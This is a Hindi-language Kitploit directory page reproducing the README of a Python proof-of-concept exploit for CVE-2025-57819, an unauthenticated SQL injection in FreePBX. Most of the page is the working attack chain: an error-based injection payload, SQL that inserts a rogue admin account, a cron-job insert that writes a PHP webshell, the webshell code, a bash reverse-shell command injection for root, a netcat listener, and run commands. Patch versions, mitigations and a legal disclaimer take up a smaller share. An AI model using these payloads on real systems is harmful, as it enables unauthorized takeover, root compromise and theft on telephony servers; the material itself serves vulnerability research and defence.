Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
FreePBX-SQLi-RCE — Python प्रूफ-ऑफ-कॉन्सेप्ट जो CVE-2025-57819 का शोषण करता है, जो FreePBX में एक अनधिप्रमाणित SQL इंजेक्शन है जो एडमिन निर्माण, cron webshell परिनियोजन, और root एस्केलेशन को श्रृंखलाबद्ध करता है। | Kitploit
उपकरण/GitHubGitHub/hexbytee/freepbx-sqli-rce
विशेषाधिकार वृद्धिभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगरिमोट एक्सेस टूलपेलोड डेवलपमेंट
GitHubhexbytee/freepbx-sqli-rce

FreePBX-SQLi-RCE

Python प्रूफ-ऑफ-कॉन्सेप्ट जो CVE-2025-57819 का शोषण करता है, जो FreePBX में एक अनधिप्रमाणित SQL इंजेक्शन है जो एडमिन निर्माण, cron webshell परिनियोजन, और root एस्केलेशन को श्रृंखलाबद्ध करता है।

रिपॉजिटरी देखें
13 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

FreePBX CVE-2025-57819 - अनधिकृत SQLi से RCE PoC

Python License

केवल शैक्षिक एवं सुरक्षा अनुसंधान हेतु - नीचे कानूनी सूचना देखें

CVE-2025-57819 के लिए शोषण प्रमाण-अवधारणा (proof of concept), जो FreePBX में एक गंभीर अनधिकृत SQL इंजेक्शन भेद्यता है और जो रिमोट कोड निष्पादन की अनुमति देती है। यह PoC आधिकारिक पैच जारी होने के बाद केवल सुरक्षा अनुसंधान और अधिकृत परीक्षण उद्देश्यों के लिए प्रकाशित किया गया है।

अवलोकन

FreePBX संस्करण 15.x, 16.x, और 17.x (पैच किए गए संस्करणों से नीचे) endpoint मॉड्यूल के AJAX हैंडलर में अनधिकृत SQL इंजेक्शन के प्रति भेद्य हैं। यह भेद्यता श्रृंखला निम्नलिखित की अनुमति देती है:

  1. प्रशासनिक खाते बनाएं SQL इंजेक्शन के माध्यम से
  2. वेबशेल तैनात करें प्रमाणित cron जॉब इंजेक्शन के माध्यम से
  3. root तक एस्केलेट करें (यदि incron उपलब्ध हो) sysadmin_manager हुक श्रृंखला के माध्यम से
  4. रिवर्स शेल एक्सेस के साथ पूर्ण सिस्टम समझौता

भेद्यता विवरण

CVE IDCVE-2025-57819
प्रकारअनधिकृत SQL इंजेक्शन (त्रुटि-आधारित)
CVSS9.8 / 10.0 (गंभीर)
प्रभावितFreePBX 15 < 15.0.66, 16 < 16.0.89, 17 < 17.0.3
पैच किया गया15.0.66, 16.0.89, 17.0.3+
CISA KEVहां (29 अगस्त, 2025)

भेद्य endpoint

GET /admin/ajax.php?brand=<PAYLOAD>

एंडपॉइंट मॉड्यूल के AJAX हैंडलर में brand पैरामीटर बिना किसी सत्यापन के उपयोगकर्ता इनपुट स्वीकार करता है, जिससे error-based SQL injection होता है।


शोषण श्रृंखला

चरण 1: SQL Injection और एडमिन खाता निर्माण

डेटाबेस का नाम उजागर करने के लिए EXTRACTVALUE() error-based extraction का उपयोग करके SQLi सत्यापित करें:

x' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e))-- -

asterisk.ampusers में नया प्रशासनिक उपयोगकर्ता डालें:

INSERT INTO ampusers (username, password_hash, admin) 
VALUES ('pbx_xxxxxxxx', '<MD5_HASH>', 1)

चरण 2: प्रमाणित क्रॉन जॉब इंजेक्शन

वैध एडमिन क्रेडेंशियल्स के साथ, एक्सप्लॉइट FreePBX में प्रमाणित होता है और एक प्रमाणित सत्र स्थापित करता है। सत्र कुकीज़ सहेजी जाती हैं और सभी बाद के प्रमाणित अनुरोधों के लिए उपयोग की जाती हैं।

asterisk.cron_jobs में webshell कमांड इंजेक्ट करें:

INSERT INTO cron_jobs (modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order)
VALUES ('sysadmin', 'wx', 'echo <BASE64_WEBSHELL>|base64 -d >/var/www/html/shell.php', NULL, '* * * * *', 30, 1, 1)

FreePBX cron runner asterisk उपयोगकर्ता के रूप में कमांड निष्पादित करता है, जिससे PHP webshell ड्रॉप हो जाता है।

चरण 3: Webshell सक्रियण

PHP webshell को /var/www/html/shell.php पर तैनात किया जाता है:

<?php system($_GET['cmd']); ?>

Exploit वेबशेल को सक्रिय होने तक पोल करता है, जिससे asterisk उपयोगकर्ता (uid=999) के रूप में RCE प्राप्त होता है।

चरण 4: विशेषाधिकार वृद्धि (सशर्त)

यदि लक्ष्य पर incron कॉन्फ़िगर किया गया है:

  1. /var/spool/asterisk/incron/ में ट्रिगर फ़ाइल बनाएँ
  2. incrond (root के रूप में चल रहा) फ़ाइल निर्माण का पता लगाता है
  3. ट्रिगर फ़ाइलनाम के साथ /usr/bin/sysadmin_manager को आमंत्रित करता है
  4. sysadmin_manager GPG हस्ताक्षर को सत्यापित करता है और fwconsole-commands हुक को प्रेषित करता है
  5. हुक पेलोड को डिकोड करता है और निष्पादित करता है: /usr/sbin/fwconsole <COMMAND>
  6. कमांड इंजेक्शन: help; bash -i >& /dev/tcp/LHOST/LPORT 0>&1

परिणाम: रिवर्स लिसनर पर रूट शेल (यदि incron उपलब्ध है)।


यह क्या दुरुपयोग करता है

  • brand पैरामीटर पर कोई इनपुट सत्यापन नहीं
  • स्टैक्ड क्वेरी निष्पादन डेटाबेस हेरफेर की अनुमति देता है
  • लिखने योग्य asterisk.cron_jobs तालिका asterisk के रूप में कमांड निष्पादित करती है
  • बनाए गए एडमिन खाते से कुकीज़ के माध्यम से प्रमाणित सत्र दृढ़ता
  • root के रूप में चल रही Incron फ़ाइलसिस्टम निगरानी
  • कमांड इंजेक्शन के साथ अमान्य fwconsole हुक निष्पादन

इंस्टॉलेशन

git clone https://github.com/JazzTheRabbit/cve-2025-57819.git
cd cve-2025-57819
pip3 install requests
chmod +x JTR-CVE-2025-57819.py

उपयोग

# Setup Netcat Listener
nc -lvnp <Listener Port>

# Run The Exploit
python3 JTR-CVE-2025-57819.py <TARGET_IP> <YOUR_IP> <PORT>

PoC

PoC स्क्रीनशॉट


प्रभावित संस्करण

संस्करणस्थिति
15.0.0 - 15.0.65असुरक्षित
15.0.66+पैच किया गया
16.0.0 - 16.0.88असुरक्षित
16.0.89+पैच किया गया
17.0.0 - 17.0.2असुरक्षित
17.0.3+पैच किया गया

शमन

तत्काल:

  • अविश्वसनीय नेटवर्क से /admin/ajax.php तक पहुँच प्रतिबंधित करें
  • यदि आवश्यक न हो तो incron अक्षम करें: systemctl disable incrond

स्थायी: पैच किए गए संस्करणों में अपग्रेड करें: 15.0.66+, 16.0.89+, या 17.0.3+


संदर्भ

  • CVE-2025-57819
  • CISA KEV कैटलॉग
  • FreePBX सुरक्षा सलाह

कानूनी सूचना

⚠️ अस्वीकरण

यह प्रूफ ऑफ कॉन्सेप्ट केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उद्देश्यों के लिए प्रदान किया गया है। लेखक इस टूल के दुरुपयोग या कारण हुई क्षति के लिए कोई दायित्व नहीं लेता है।

आपको निम्नलिखित का पालन करना होगा:

  • कंप्यूटर धोखाधड़ी और दुरुपयोग अधिनियम (CFAA) और आपके अधिकार क्षेत्र के समकक्ष कानून
  • केवल उन्हीं सिस्टमों का परीक्षण करें जिनके आप स्वामी हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित प्राधिकरण है
  • किसी भी सुरक्षा परीक्षण से पहले लिखित अनुमति प्राप्त करें
  • जिम्मेदार प्रकटीकरण प्रथाएँ
  • गोपनीयता और डेटा संरक्षण विनियम (GDPR, CCPA, आदि)

निषिद्ध उपयोग:

  • कंप्यूटर सिस्टमों तक अनधिकृत पहुँच
  • लिखित सहमति के बिना पेनेट्रेशन परीक्षण
  • सेवाओं में व्यवधान या डेटा चोरी
  • कोई भी दुर्भावनापूर्ण या अवैध गतिविधि

दायित्व छूट: लेखक निम्नलिखित के लिए उत्तरदायी नहीं है:

  • अनधिकृत पहुँच या आपराधिक आरोप
  • सिस्टमों को क्षति या डेटा हानि
  • दुरुपयोग के कानूनी परिणाम
  • कंप्यूटर धोखाधड़ी कानूनों का उल्लंघन

यह भेद्यता:

  • सार्वजनिक रूप से प्रकट की गई है (CVE-2025-57819)
  • पैच सार्वजनिक रूप से उपलब्ध हैं
  • केवल सुरक्षा अनुसंधान के लिए प्रकाशित
  • पैच जारी होने के बाद जिम्मेदारी से साझा की गई

लेखक

JazzTheRabbit

  • GitHub: @JazzTheRabbit
  • HackTheBox: @JazzTheRabbit
  • YouTube: JazzTheRabbit

लाइसेंस

MIT लाइसेंस

टूल डाउनलोड करें